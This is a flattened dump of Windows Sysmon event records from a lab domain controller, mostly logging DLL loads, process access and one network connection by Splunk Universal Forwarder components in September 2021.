Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000055922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 10341000x800000000000000055920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000055915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:19.399{7BD73061-74A7-613B-A00B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000056066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.982{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000056065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.982{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 354300x800000000000000056064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.552{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63161-false10.0.1.12-8000- 23542300x800000000000000056063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.813{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F797B187F0722828876C96C978B00014,SHA256=519B55AF0012EB24ED3879220161D6E074B1D3F7B5724D3400B6432DA8655BEE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.745{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000056061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.745{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000056060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.745{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000056059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.745{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000056058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.745{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000056057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.745{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000056056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.745{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000056055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.745{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000056054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000056053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000056052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000056051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000056050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000056049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000056048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000056047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000056046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000056044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program 